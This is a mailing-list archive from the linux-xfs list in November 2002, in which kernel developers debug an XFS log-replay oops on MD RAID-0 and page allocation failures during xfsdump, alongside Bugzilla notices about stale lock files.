[192.168.1.103] (cf-vpn-sw-corp-64-16.corp.sgi.com [134.15.64.16]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id HAA68856; Sun, 17 Nov 2002 07:21:20 -0600 (CST) Subject: Re: 2.5.47 XFS over MD RAID-0 broken From: Stephen Lord To: Andi Kleen Cc: linux-xfs@oss.sgi.com In-Reply-To: <20021116225706.GA1976@averell> References: <20021116225706.GA1976@averell> Content-Type: text/plain Message-Id: <1037538966.1239.11.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 17 Nov 2002 07:16:06 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 1755 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Sat, 2002-11-16 at 16:57, Andi Kleen wrote: > When trying to mount an XFS file system on a RAID-0 MD in 2.5.47 > one gets an oops during log replay. Andi, It looks like a zero length bio structure was submitted for I/O. Question is, how did it get to be zero length. Actually, this function is probably the culprit: xlog_find_verify_cycle Could you make it print the values of i and bcount before calling xlog_bread. The initial values of all the variables fed into this loop would be good too: for (i = start_blk; i < start_blk + nbblks; i += bufblks) { int bcount = min(bufblks, (start_blk + nbblks - i)); if ((error = xlog_bread(log, i, bcount, bp))) goto out; This code had some major tweaking for linux, the logic looks ok to me, but its early in the morning here. Steve -- Stephen Lord From owner-linux-xfs@oss.sgi.com Sun Nov 17 05:28:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 05:28:53 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHDSpuR002946 for ; Sun, 17 Nov 2002 05:28:51 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAHCYHKp001153 for ; Sun, 17 Nov 2002 04:34:17 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id HAA26347; Sun, 17 Nov 2002 07:30:40 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-16.corp.sgi.com [134.15.64.16]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id HAA67098; Sun, 17 Nov 2002 07:30:39 -0600 (CST) Subject: Re: xfs performance on scsi in 2.4.20-rc1 From: Stephen Lord To: Robert Sander Cc: linux-xfs@oss.sgi.com In-Reply-To: References: <1037393245.24118.43.camel@jen.americas.sgi.com> Content-Type: text/plain Message-Id: <1037539524.1240.25.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 17 Nov 2002 07:25:24 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 1756 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Sat, 2002-11-16 at 03:24, Robert Sander wrote: > On Fri, 15 Nov 2002 20:48:21 +0000 (UTC), > Steve Lord wrote: > > > > It turns out that there are some issues in the scsi mid layer code > > which are killing xfs performance - if you are not running a HIGHMEM > > kernel. So if you are running 2.4.20-rc1 with xfs on scsi without > > HIGHMEM and HIGHIO turned on, then I recommend you turn them on. > > Hi! > > Is this related to bug 193? > > http://oss.sgi.com/bugzilla/show_bug.cgi?id=193 No, bug 193 is a memory problem in the attribute code, an address being passed to vfree which should not be is what it looks like, but I am leaving that upto other folks to look at right now. Steve -- Stephen Lord From owner-linux-xfs@oss.sgi.com Sun Nov 17 05:31:44 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 05:31:46 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHDVhuR003398 for ; Sun, 17 Nov 2002 05:31:43 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAHCbAKp001236 for ; Sun, 17 Nov 2002 04:37:10 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id HAA72026; Sun, 17 Nov 2002 07:33:33 -0600 (CST) Received: from [192.168.1.103] (cf-vpn-sw-corp-64-16.corp.sgi.com [134.15.64.16]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id HAA08168; Sun, 17 Nov 2002 07:33:32 -0600 (CST) Subject: Re: xfsdump stuck in io_schedule From: Stephen Lord To: zlatko.calusic@iskon.hr Cc: Andi Kleen , linux-xfs@oss.sgi.com In-Reply-To: <87u1ih4x29.fsf@atlas.iskon.hr> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> Content-Type: text/plain Message-Id: <1037539697.1240.30.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 17 Nov 2002 07:28:17 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 1757 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Sat, 2002-11-16 at 04:40, Zlatko Calusic wrote: > Andi Kleen writes: > > >> Hm, to tell the truth, all that doesn't sound like an easy problem to > >> fix, but I'm sure we'll think of something. :) > > > > It may be possible to just hack the user space program to limit > > the data currently in flight, but that would likely impact performance > > somewhat. Better than doing no backups though. > > Before that, I think we should try to fix it properly. Yes, xfsdump is > blazingly fast and probably that is the reason we have some problems > with it now, but let's try not to surrender before a fight. :) The xfsdump folks would be pleased to hear that, we get complaints the other way sometimes. You say you are dumping into a file in another filesystem, what type of filesystem is it? If you stream data there from something like lmdd does it work OK? Also (and I am not sure you can do this), what happens if you xfsdump to /dev/null? I suspect both of these will work, but worth a try. Steve -- Stephen Lord From owner-linux-xfs@oss.sgi.com Sun Nov 17 05:43:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 05:43:56 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHDhtuR003895 for ; Sun, 17 Nov 2002 05:43:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHDhtnE003894 for linux-xfs@oss.sgi.com; Sun, 17 Nov 2002 05:43:55 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHDhruT003880 for ; Sun, 17 Nov 2002 05:43:53 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHDbhvp003846; Sun, 17 Nov 2002 05:37:43 -0800 Date: Sun, 17 Nov 2002 05:37:43 -0800 Message-Id: <200211171337.gAHDbhvp003846@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 197] New: stalled files in /var/lock, var/run X-Bugzilla-Reason: AssignedTo X-archive-position: 1758 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=197 Summary: stalled files in /var/lock, var/run Product: Linux XFS Version: 1.2.x Platform: All OS/Version: Linux Status: NEW Severity: normal Priority: High Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: knutjbj@online.no If this is a userspace bug, what version of the package are you using: What kernel are you using:Kernel-2.4.18-17SGI_1.2pre3 Where did the XFS code come from? (CVS, Linus, your distribution, etc): from SGI Description of Problem: Sometimes files in /var/lock is unreadable and undelete even by root. I usally fix this problem by rebooting and using xfs_repair. And delete stalled dir in /var/lock How Reproducible: often Steps to Reproduce: 1. a unclean reboot'll cause this problem 2. 3. Actual Results: is not stalled removed in /var/lock. Expected Results: stalled files should be removed Additional Information: using v4l device'll reboot uncleanly make this error more likly to appera. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 17 06:38:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 06:38:38 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHEcVuR004814 for ; Sun, 17 Nov 2002 06:38:32 -0800 Received: (qmail 29901 invoked from network); 17 Nov 2002 15:40:24 +0100 Received: from atlas.iskon.hr (root@213.191.131.6) by mail.iskon.hr with SMTP; 17 Nov 2002 15:40:24 +0100 Received: from atlas.iskon.hr (zcalusic@localhost [127.0.0.1]) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAHEeMAS003513; Sun, 17 Nov 2002 15:40:22 +0100 Received: (from zcalusic@localhost) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) id gAHEeJQC003512; Sun, 17 Nov 2002 15:40:19 +0100 To: Stephen Lord , Andrew Morton Cc: Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sun, 17 Nov 2002 15:40:18 +0100 In-Reply-To: <1037539697.1240.30.camel@laptop.americas.sgi.com> (Stephen Lord's message of "17 Nov 2002 07:28:17 -0600") Message-ID: <877kfcqmy5.fsf@atlas.iskon.hr> Lines: 57 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1759 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Stephen Lord writes: > On Sat, 2002-11-16 at 04:40, Zlatko Calusic wrote: >> Andi Kleen writes: >> >> >> Hm, to tell the truth, all that doesn't sound like an easy problem to >> >> fix, but I'm sure we'll think of something. :) >> > >> > It may be possible to just hack the user space program to limit >> > the data currently in flight, but that would likely impact performance >> > somewhat. Better than doing no backups though. >> >> Before that, I think we should try to fix it properly. Yes, xfsdump is >> blazingly fast and probably that is the reason we have some problems >> with it now, but let's try not to surrender before a fight. :) > > The xfsdump folks would be pleased to hear that, we get complaints the > other way sometimes. Hm, I find that quite strange. I've just tested xfsdump vs tar and xfsdump is ~50% faster. > > You say you are dumping into a file in another filesystem, what type of > filesystem is it? If you stream data there from something like lmdd > does it work OK? Also (and I am not sure you can do this), what happens > if you xfsdump to /dev/null? Wow, that was a couple of good questions. I'm dumping to a xfs filesystem. I tried tarring instead of dumping, and voila: tar: page allocation failure. order:0, mode:0x0 tar: page allocation failure. order:0, mode:0x0 So it is really not xfsdump specific. It's strange how I haven't noticed such a problem before, but IIRC, I used cp -a during conversion of ext3 partitions to xfs. It might be connected to a fact that I'm writing to a BIG file and/or to a slower disk?! Second thing, dumping to /dev/null goes without a problem, no messages in kernel log, everything's just fine. Let's recapitulate: I'm dumping (or tarring) xfs filesystem (/usr) which consists of lots of files from a faster (7200rpm, plate speed up to 37MB/sec) IDE disk to a (big = 2 - 3GB) file on a xfs partition on a slower (5400rpm, plate speed up to 23MB/sec) IDE disk and I'm getting page allocation failures during that exercise. Kernel is virgin 2.5.47, preempt is off, number of processors doesn't make a difference. Now, more than ever, this looks like a VM bug, not really xfs specific. Andrew, what would you like me to try to clarify it further? Stephen, thanks for help. -- Zlatko From owner-linux-xfs@oss.sgi.com Sun Nov 17 07:28:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 07:28:45 -0800 (PST) Received: from zero.aec.at (senki-ki@zero.aec.at [193.170.194.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHFSeuR005807 for ; Sun, 17 Nov 2002 07:28:41 -0800 Received: from averell.firstfloor.org (ni-mannahun@localhost.localdomain [127.0.0.1]) by zero.aec.at (8.11.6/8.11.2) with ESMTP id gAHFUED06568; Sun, 17 Nov 2002 16:30:14 +0100 Received: by averell.firstfloor.org (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 39F34697EB; Sun, 17 Nov 2002 16:30:13 +0100 (CET) Date: Sun, 17 Nov 2002 16:30:13 +0100 From: Andi Kleen To: Stephen Lord Cc: Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: 2.5.47 XFS over MD RAID-0 broken Message-ID: <20021117153013.GA6945@averell> References: <20021116225706.GA1976@averell> <1037538966.1239.11.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1037538966.1239.11.camel@laptop.americas.sgi.com> User-Agent: Mutt/1.4i X-archive-position: 1760 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: linux-xfs > Could you make it print the values of i and bcount before calling > xlog_bread. The initial values of all the variables fed into this > loop would be good too: SGI XFS CVS-09/15/02:17 with no debug enabled XFS mounting filesystem md(9,0) start_blk 7188 nbblks 0 bufblks 200 i = 7188 bcount = 0 *boom* -Andi From owner-linux-xfs@oss.sgi.com Sun Nov 17 07:43:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 07:43:58 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHFhvuR006347 for ; Sun, 17 Nov 2002 07:43:57 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHFhvgT006346 for linux-xfs@oss.sgi.com; Sun, 17 Nov 2002 07:43:57 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHFhtuT006332 for ; Sun, 17 Nov 2002 07:43:55 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHFg8Fe006307; Sun, 17 Nov 2002 07:42:08 -0800 Date: Sun, 17 Nov 2002 07:42:08 -0800 Message-Id: <200211171542.gAHFg8Fe006307@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 197] stalled files in /var/lock, var/run X-Bugzilla-Reason: AssignedTo X-archive-position: 1761 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=197 ------- Additional Comments From knutjbj@online.no 2002-11-17 07:42 ------- Created an attachment (id=47) --> (http://oss.sgi.com/bugzilla/attachment.cgi?id=47&action=view) log from xfs_repair log from xfs_repair ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 17 11:15:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 11:15:13 -0800 (PST) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHJFBuR008505 for ; Sun, 17 Nov 2002 11:15:11 -0800 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id LAA12486 for ; Sun, 17 Nov 2002 11:17:01 -0800 (PST) Received: from digeo-e2k03.digeo.com ([192.168.2.44]) by digeo-nav01.digeo.com (NAVGW 2.5.2.12) with SMTP id M2002111711191322906 ; Sun, 17 Nov 2002 11:19:13 -0800 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by digeo-e2k03.digeo.com with Microsoft SMTPSVC(5.0.2195.5329); Sun, 17 Nov 2002 11:17:02 -0800 Received: from digeo.com ([172.17.144.18]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Sun, 17 Nov 2002 11:17:00 -0800 Message-ID: <3DD7EB2C.C20F312E@digeo.com> Date: Sun, 17 Nov 2002 11:17:00 -0800 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.5.46 i686) X-Accept-Language: en MIME-Version: 1.0 To: zlatko.calusic@iskon.hr CC: Stephen Lord , Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> <877kfcqmy5.fsf@atlas.iskon.hr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Nov 2002 19:17:01.0137 (UTC) FILETIME=[E7CD5C10:01C28E6D] X-archive-position: 1762 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: linux-xfs Zlatko Calusic wrote: > > Let's recapitulate: > > I'm dumping (or tarring) xfs filesystem (/usr) which consists of lots > of files from a faster (7200rpm, plate speed up to 37MB/sec) IDE disk > to a (big = 2 - 3GB) file on a xfs partition on a slower (5400rpm, > plate speed up to 23MB/sec) IDE disk and I'm getting page allocation > failures during that exercise. Kernel is virgin 2.5.47, preempt is > off, number of processors doesn't make a difference. > > Now, more than ever, this looks like a VM bug, not really xfs > specific. Andrew, what would you like me to try to clarify it further? Well, not really a "bug". Mode zero allocations will always fail, and the caller needs to handle that. For some reason kswapd is not keeping up here. It would be interesting to put a dump_stack() alongside that page allocation failure printk in mm/page_alloc.c. How much memory do you have? From owner-linux-xfs@oss.sgi.com Sun Nov 17 11:37:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 11:37:46 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHJbguR009098 for ; Sun, 17 Nov 2002 11:37:43 -0800 Received: (qmail 21065 invoked from network); 17 Nov 2002 20:39:37 +0100 Received: from atlas.iskon.hr (root@213.191.131.6) by mail.iskon.hr with SMTP; 17 Nov 2002 20:39:37 +0100 Received: from atlas.iskon.hr (smmsp@localhost [127.0.0.1]) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAHJdYM8000862; Sun, 17 Nov 2002 20:39:34 +0100 Received: (from zcalusic@localhost) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) id gAHJco3I000603; Sun, 17 Nov 2002 20:38:50 +0100 To: Andrew Morton Cc: Stephen Lord , Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> <87u1ih4x29.fsf@atlas.iskon.hr> <1037539697.1240.30.camel@laptop.americas.sgi.com> <877kfcqmy5.fsf@atlas.iskon.hr> <3DD7EB2C.C20F312E@digeo.com> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sun, 17 Nov 2002 20:38:50 +0100 In-Reply-To: <3DD7EB2C.C20F312E@digeo.com> (Andrew Morton's message of "Sun, 17 Nov 2002 11:17:00 -0800") Message-ID: <87n0o8c7g5.fsf@atlas.iskon.hr> Lines: 87 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1763 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Andrew Morton writes: > Zlatko Calusic wrote: >> >> Let's recapitulate: >> >> I'm dumping (or tarring) xfs filesystem (/usr) which consists of lots >> of files from a faster (7200rpm, plate speed up to 37MB/sec) IDE disk >> to a (big = 2 - 3GB) file on a xfs partition on a slower (5400rpm, >> plate speed up to 23MB/sec) IDE disk and I'm getting page allocation >> failures during that exercise. Kernel is virgin 2.5.47, preempt is >> off, number of processors doesn't make a difference. >> >> Now, more than ever, this looks like a VM bug, not really xfs >> specific. Andrew, what would you like me to try to clarify it further? > > Well, not really a "bug". Mode zero allocations will always fail, and Well, yes, but it's somehow sad that allocator returned failure when asked for a single page, while I have 580MB worth of inactive page cache pages ready for eviction. > the caller needs to handle that. For some reason kswapd is not keeping > up here. It would be interesting to put a dump_stack() alongside that > page allocation failure printk in mm/page_alloc.c. Call Trace: [bounce_end_io+33/120] __alloc_pages+0x249/0x274 [move_vma+433/912] find_or_create_page+0x3d/0x98 [xfs_parseargs+1623/1844] _pagebuf_lookup_pages+0x19b/0x3cc [xfs_initialize_vnode+188/508] pagebuf_get+0x90/0x110 [xfs_initialize_vnode+455/508] pagebuf_readahead+0x23/0x28 [_lsn_cmp+121/216] xfs_btree_reada_bufs+0x3d/0x44 [xlog_do_recovery_pass+1998/2148] xfs_bulkstat+0x73a/0xb1c [huft_build+1381/1468] huft_build+0x545/0x5bc [semctl_nolock+123/484] xfs_ioc_bulkstat+0x117/0x16c [xlog_recover_process_iunlinks+128/680] xfs_bulkstat_one+0x0/0x4d0 [sys_semget+215/308] xfs_ioctl+0x297/0x5ac [huft_build+1381/1468] huft_build+0x545/0x5bc [xlog_write+723/960] xfs_iunlock+0x2f/0x54 [xfs_attrmulti_by_handle+43/456] xfs_inactive_free_eofblocks+0xb3/0x268 [xfs_ioctl+1263/1452] xfs_release+0x83/0xbc [.text.lock.namespace+174/885] dput+0x19/0x194 [.text.lock.super+193/491] __fput+0xd6/0xf8 [sys_msgctl+99/1604] linvfs_ioctl+0x23/0x60 [huft_build+1381/1468] huft_build+0x545/0x5bc [huft_build+1381/1468] huft_build+0x545/0x5bc [alloc_inode+121/384] sys_ioctl+0x22d/0x27c [huft_build+1381/1468] huft_build+0x545/0x5bc [irq_entries_start+199/2176] syscall_call+0x7/0xb [huft_build+1381/1468] huft_build+0x545/0x5bc xfsdump: page allocation failure. order:0, mode:0x0 > > How much memory do you have? > 768MB (no highmem) This is /proc/meminfo after xfsdump fails: MemTotal: 772612 kB MemFree: 3184 kB MemShared: 0 kB Buffers: 35000 kB Cached: 617860 kB SwapCached: 0 kB Active: 135556 kB Inactive: 588368 kB HighTotal: 0 kB HighFree: 0 kB LowTotal: 772612 kB LowFree: 3184 kB SwapTotal: 2097136 kB SwapFree: 2097136 kB Dirty: 4 kB Writeback: 0 kB Mapped: 97612 kB Slab: 36096 kB Committed_AS: 114108 kB PageTables: 880 kB ReverseMaps: 40242 -- Zlatko From owner-linux-xfs@oss.sgi.com Sun Nov 17 11:43:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 11:43:59 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHJhtuR009648 for ; Sun, 17 Nov 2002 11:43:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHJhtT5009645 for linux-xfs@oss.sgi.com; Sun, 17 Nov 2002 11:43:55 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHJhrub009603 for ; Sun, 17 Nov 2002 11:43:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHJaUgD009087; Sun, 17 Nov 2002 11:36:30 -0800 Date: Sun, 17 Nov 2002 11:36:30 -0800 Message-Id: <200211171936.gAHJaUgD009087@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 197] stalled files in /var/lock, data fork in ino 79692177 claims free block 5040984 X-Bugzilla-Reason: AssignedTo X-archive-position: 1765 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=197 ------- Additional Comments From knutjbj@online.no 2002-11-17 11:36 ------- *** Bug 192 has been marked as a duplicate of this bug. *** ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 17 11:43:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 11:43:59 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHJhtuR009646 for ; Sun, 17 Nov 2002 11:43:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHJhtLK009643 for linux-xfs@oss.sgi.com; Sun, 17 Nov 2002 11:43:55 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHJhruZ009603 for ; Sun, 17 Nov 2002 11:43:54 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHJYtFn009063; Sun, 17 Nov 2002 11:34:55 -0800 Date: Sun, 17 Nov 2002 11:34:55 -0800 Message-Id: <200211171934.gAHJYtFn009063@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 197] stalled files in /var/lock, data fork in ino 79692177 claims free block 5040984 X-Bugzilla-Reason: AssignedTo X-archive-position: 1764 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=197 knutjbj@online.no changed: What |Removed |Added ---------------------------------------------------------------------------- Severity|normal |major Summary|stalled files in /var/lock, |stalled files in /var/lock, |var/run |data fork in ino 79692177 | |claims free block 5040984 ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 17 11:43:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 11:44:06 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHJhtuR009647 for ; Sun, 17 Nov 2002 11:43:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHJhtxC009644 for linux-xfs@oss.sgi.com; Sun, 17 Nov 2002 11:43:55 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAHJhruT009603 for ; Sun, 17 Nov 2002 11:43:53 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAHJaTs2009083; Sun, 17 Nov 2002 11:36:29 -0800 Date: Sun, 17 Nov 2002 11:36:29 -0800 Message-Id: <200211171936.gAHJaTs2009083@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 192] corruption 33869960 dinode X-Bugzilla-Reason: AssignedTo X-archive-position: 1766 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=192 knutjbj@online.no changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED 